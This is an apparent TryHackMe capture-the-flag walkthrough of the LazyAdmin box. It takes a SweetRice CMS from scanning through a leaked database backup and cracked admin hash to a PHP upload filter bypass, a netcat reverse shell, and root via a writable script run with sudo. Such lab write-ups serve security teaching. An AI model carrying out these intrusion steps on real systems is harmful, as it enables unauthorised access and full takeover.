THM: LazyAdmin
THM: LazyAdmin is an easy and fun linux box running a PHP-based CMS. We’ll start with some enumeration to find our way around, and that will eventually lead to credentials for the CMS being leaked through a database backup. Once we have admin access we’ll be able to upload and execute arbitrary PHP code, which we’ll exploit to get a shell. There’s not much required to grab the user flag from there, and we can abuse a combination of sudo privileges with wide open file permissions to escalate to a root shell. Let’s get started!
Enumeration⌗
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/LazyAdmin]
└─$ sudo rustscan -a 10.10.13.167 -- -sV -oA nmap1
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
With only SSH and HTTP open it makes sense to explore HTTP first.
Checking http://10.10.13.167 in a browser just shows the default Apache page, so let’s run some content scans next.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/LazyAdmin]
└─$ ffuf -t 80 -u http://10.10.13.167/FUZZ -w /usr/share/wordlists/dirb/common.txt
________________________________________________
:: Method : GET
:: URL : http://10.10.13.167/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 80
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10]
.hta [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10]
[Status: 200, Size: 11321, Words: 3503, Lines: 376]
content [Status: 301, Size: 314, Words: 20, Lines: 10]
index.html [Status: 200, Size: 11321, Words: 3503, Lines: 376]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10]
:: Progress: [4614/4614] :: Job [1/1] :: 367 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
We found a /content
directory, which looks like it’s hosting a CMS named SweetRice:
A quick searchsploit sweetrice
shows there are a few public exploits, but we don’t yet know the version that’s running.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/LazyAdmin]
└─$ searchsploit sweetrice
----------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------- ---------------------------------
SweetRice 0.5.3 - Remote File Inclusion | php/webapps/10246.txt
SweetRice 0.6.7 - Multiple Vulnerabilities | php/webapps/15413.txt
SweetRice 1.5.1 - Arbitrary File Download | php/webapps/40698.py
SweetRice 1.5.1 - Arbitrary File Upload | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure | php/webapps/40718.txt
SweetRice 1.5.1 - Cross-Site Request Forgery | php/webapps/40692.html
SweetRice 1.5.1 - Cross-Site Request Forgery / PHP Code Execution | php/webapps/40700.html
SweetRice < 0.6.4 - 'FCKeditor' Arbitrary File Upload | php/webapps/14184.txt
----------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Scanning deeper into the /content
directory may reveal that or some other useful info.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/LazyAdmin]
└─$ ffuf -t 80 -u http://10.10.13.167/content/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.html
________________________________________________
:: Method : GET
:: URL : http://10.10.13.167/content/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Extensions : .php .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 80
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
.htpasswd.html [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd.php [Status: 403, Size: 277, Words: 20, Lines: 10]
.html [Status: 403, Size: 277, Words: 20, Lines: 10]
.php [Status: 403, Size: 277, Words: 20, Lines: 10]
[Status: 200, Size: 2198, Words: 109, Lines: 36]
.htaccess.php [Status: 403, Size: 277, Words: 20, Lines: 10]
.hta.php [Status: 403, Size: 277, Words: 20, Lines: 10]
_themes [Status: 301, Size: 322, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess.html [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10]
.hta [Status: 403, Size: 277, Words: 20, Lines: 10]
.hta.html [Status: 403, Size: 277, Words: 20, Lines: 10]
as [Status: 301, Size: 317, Words: 20, Lines: 10]
attachment [Status: 301, Size: 325, Words: 20, Lines: 10]
images [Status: 301, Size: 321, Words: 20, Lines: 10]
inc [Status: 301, Size: 318, Words: 20, Lines: 10]
index.php
[Status: 200, Size: 2198, Words: 109, Lines: 36]
index.php [Status: 200, Size: 2198, Words: 109, Lines: 36]
js [Status: 301, Size: 317, Words: 20, Lines: 10]
:: Progress: [13842/13842] :: Job [1/1] :: 368 req/sec :: Duration: [0:00:39] :: Errors: 0 ::
We have a few more directories to check out, but right away inc
looks the most interesting. It’s full of PHP files which won’t help us at the moment, but there is a text file that looks like it contains the version number:
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/LazyAdmin]
└─$ curl http://10.10.13.167/content/inc/lastest.txt
1.5.1
There is an arbitrary file upload exploit for this version, so that can potentially be a path to uploading a shell assuming it doesn’t require authentication.
But first, let’s explore the database backups that are also in the inc
directory! There is a cache/
directory beneath that, and a mysql_backup/
as well, both containing databases.
Let’s use wget
to download the MySQL backup first and cat
to read it. Towards the end there is an “options” table being created and some data being inserted into it:
14 => 'INSERT INTO `%--%_options` VALUES(\'1\',\'global_setting\',\'a:17:{s:4:\\"name\\";s:25:\\"Lazy Admin's Website\\";s:6:\\"author\\";s:10:\\"Lazy Admin\\";s:5:\\"title\\";s:0:\\"\\";s:8:\\"keywords\\";s:8:\\"Keywords\\";s:11:\\"description\\";s:11:\\"Description\\";s:5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\"close\\";i:1;s:9:\\"close_tip\\";s:454:\\"<p>Welcome to SweetRice - Thank your for install SweetRice as your website management system.</p><h1>This site is building now , please come late.</h1><p>If you are the webmaster,please go to Dashboard -> General -> Website setting </p><p>and uncheck the checkbox \\"Site close\\" to open your website.</p><p>More help at <a href=\\"http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/\\">Tip for Basic CMS SweetRice installed</a></p>\\";s:5:\\"cache\\";i:0;s:13:\\"cache_expired\\";i:0;s:10:\\"user_track\\";i:0;s:11:\\"url_rewrite\\";i:0;s:4:\\"logo\\";s:0:\\"\\";s:5:\\"theme\\";s:0:\\"\\";s:4:\\"lang\\";s:9:\\"en-us.php\\";s:11:\\"admin_email\\";N;}\',\'1575023409\');',
Scanning it we can see one string in particular that stands out, as it looks like an MD5 hash: 42f749ade7f9e195bf475f37a44cafcb
.
We can run that through https://crackstation.net/ and see it is indeed a hash for Password123
!
The KV pair just before the password also looks interesting: s:5:\\"admin\\";s:7:\\"manager\\"
— perhaps manager
is the admin’s username? We need to find the admin login page before any of this is useful.
Let’s check out the other directories we found in our last content scan, starting with /as
.
…It’s exactly what we needed!
Initial Foothold⌗
And, those creds we found worked as well. We now have admin access to the CMS.
Now we need to find a way to get a shell. Let’s poke around and see if we can find that file upload functionality.
There are multiple vectors for uploading files: plugins, theme, and media center.
The media center looks the most straight forward. Let’s test it.
In a terminal, we can run echo '<?php phpinfo(); ?>' > info.php
to create the file and then attempt to upload it to the media center.
Hmm.. we don’t get any errors, but we also don’t see the file. It’s possible there is some backend filtering going on. What if we change the extension to .php3
?
That works! We can see our file in the media center, and it’s been uploaded to /content/attachment/info.php3
.
If you can execute phpinfo()
it’s always worth checking the environment variables section as it may leak sensitive data, but in this case there is nothing particularly interesting.
Getting A Shell⌗
Now that we have a way to upload files and execute our own PHP code we can work on getting a shell.
So we need to download a copy of phpbash and rename it with a .php3
extension, and then we can upload it and access a webshell.
Next we can run ifconfig
locally to get our IP on the TryHackMe network, and then nc -nlvp 4444
to start a netcat listener.
We can use revshells.com to generate some PHP shellcodes. It will take some trial and error to find one that works.
The good news is some of the ones that don’t work will cause our listener to crash, which proves that we’re able to send outbound traffic from the target. We’ll just need to restart the listener before trying the next shellcode.
Finally! The proc_open()
method works. Let’s use a little bash magic to upgrade to a full TTY shell:
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/LazyAdmin]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.13.167] 59988
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
which python3
/usr/bin/python3
python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@THM-Chal:/var/www/html/content/attachment$ ^Z
zsh: suspended nc -lnvp 4444
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/LazyAdmin]
└─$ stty -a 148 ⨯ 1 ⚙
speed 38400 baud; rows 70; columns 111; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>;
start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/LazyAdmin]
└─$ stty raw -echo; fg 1 ⚙
[1] + continued nc -lnvp 4444
export SHELL=bash
www-data@THM-Chal:/var/www/html/content/attachment$ stty rows 70 columns 111
www-data@THM-Chal:/var/www/html/content/attachment$ export TERM=xterm-256color
www-data@THM-Chal:/var/www/html/content/attachment$
Now we have a fully interactive shell and can finally move on to finding those flags!
User Flag⌗
So first let’s see what other users are on the box.
www-data@THM-Chal:/var/www/html/content/attachment$ cat /etc/passwd | grep home
syslog:x:104:108::/home/syslog:/bin/false
itguy:x:1000:1000:THM-Chal,,,:/home/itguy:/bin/bash
There is an itguy
user whose home directory is readable, and it contains the user.txt
flag which is also readable!
www-data@THM-Chal:/var/www/html/content/attachment$ cd /home/itguy
www-data@THM-Chal:/home/itguy$ ls -l *.txt
-rw-rw-r-- 1 itguy itguy 16 Nov 29 2019 mysql_login.txt
-rw-rw-r-- 1 itguy itguy 38 Nov 29 2019 user.txt
www-data@THM-Chal:/home/itguy$ wc -c user.txt
38 user.txt
We also found some MySQL creds there which could perhaps be useful as we now move on to privesc.
Privilege Escalation⌗
Running a quick check for sudo privileges we see we are able to execute a perl script as root:
www-data@THM-Chal:/home/itguy$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on THM-Chal:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
www-data@THM-Chal:/home/itguy$ ls -la *.pl
-rw-r--r-x 1 root root 47 Nov 29 2019 backup.pl
We can’t overwrite that file but we are able to read it.
www-data@THM-Chal:/home/itguy$ cat backup.pl
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
It simply executes another script, and that one is writable.
www-data@THM-Chal:/home/itguy$ ls -l /etc/copy.sh
-rw-r--rwx 1 root root 81 Nov 29 2019 /etc/copy.sh
So that means we can overwrite the contents of /etc/copy.sh
to open a new bash shell, and since we can execute the script with sudo we’ll have ourselves a root shell.
www-data@THM-Chal:/home/itguy$ echo '/bin/bash -p' > /etc/copy.sh
www-data@THM-Chal:/home/itguy$ sudo /usr/bin/perl /home/itguy/backup.pl
root@THM-Chal:/home/itguy# id
uid=0(root) gid=0(root) groups=0(root)
root@THM-Chal:/home/itguy# cd /root && ls -la
total 28
drwxr-x--- 4 root root 4096 iul 15 16:23 .
drwxr-xr-x 23 root root 4096 nov 29 2019 ..
lrwxrwxrwx 1 root root 9 nov 29 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 oct 22 2015 .bashrc
drwx------ 2 root root 4096 feb 27 2019 .cache
drwxr-xr-x 2 root root 4096 nov 29 2019 .nano
-rw-r--r-- 1 root root 148 aug 17 2015 .profile
-rw-r--r-- 1 root root 38 nov 29 2019 root.txt
root@THM-Chal:~# wc -c root.txt
38 root.txt
✅